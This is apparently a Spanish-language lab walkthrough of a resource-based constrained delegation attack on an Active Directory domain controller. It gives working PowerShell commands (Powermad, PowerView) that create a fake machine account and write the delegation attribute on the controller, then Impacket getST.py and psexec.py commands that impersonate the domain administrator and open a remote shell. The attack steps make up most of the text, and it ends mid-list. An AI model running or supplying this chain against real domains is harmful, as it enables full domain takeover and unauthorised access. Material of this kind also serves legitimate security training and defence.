Ataque Paso a Paso

Montando ataque en el laboratorio

Creamos el requerimiento para ejecutar el ataque, la escritura del usuario "RBCD.TEMP" sobre el computador "DC2019".

Add-Domain ObjectAcl -TargetIdentity "CN=DC2019,OU=DOMAIN CONTROLLERS,DC=CHICHOCORP,DC=LOCAL" -PrincipalIdentity "CN=RBCD.TEMP,CN=USERS,DC=CHICHOCORP,DC=LOCAL" -Rights "All" 

Requerimientos del Ataque

Tener permisos de escritura sobre el el computador del que nos queremos adueñar

Tener el permiso de crear maquinas con el usuario que desea efectuar el ataque

Que los controladores de dominio ejecuten como minimo Windows 2012

Por ultimo para crear la computadora fake y para realizar la escritura sobre el objeto necesitamos importar:

GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit toolsGitHub

Powermad

PowerSploit/Recon/PowerView.ps1 at master · PowerShellMafia/PowerSploitGitHub

PowerView

GitHub - x0pr4nt3s/Tools_enum_AD_without-RSATGitHub

RSAT

NOTA: En el caso no sepa importar RSAT en powershell le dejo un tutorial aqui

Ataque

Escribimos en DC2019

Creamos una nueva maquina y luego seteamos a la maquina fake dentro de la maquina que queremos explotar:

New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)

$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC2019 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Validamos

Validamos que los bytes se hayan escrito

Get-DomainComputer DC2019 | select msds-allowedtoactonbehalfofotheridentity

Validamos que el contenido de los bytes sea el mismo que la computadora fake

Get-ADComputer -Identity DC2019 -Properties msds-allowedtoactonbehalfofotheridentity -Server DC2019.chichocorp.local

$1 = Get-ADComputer -Identity DC2019 -Properties msds-allowedtoactonbehalfofotheridentity -Server DC2019.chichocorp.local

$1.'msds-allowedtoactonbehalfofotheridentity'.Access

Get-ADComputer -Identity S-1-5-21-863417510-1794938559-3969709936-1112 -Server DC2019.chichocorp.local

Explotacion usando Linux

Usando CIFS como servicio:

python3 /home/kali/.local/pipx/venvs/autorecon/bin/getST.py -spn cifs/DC2019.chichocorp.local -impersonate administrator -dc-ip 192.168.1.41 'chichocorp.local/attackersystem:Summer2018!'

podemos usar psexec aunque no lo recomiendo.

KRB5CCNAME=administrator.ccache python3 /home/kali/.local/pipx/venvs/autorecon/bin/psexec.py chichocorp.local/[email protected] -k -no-pass

Tambie podemos usar Crackmapexec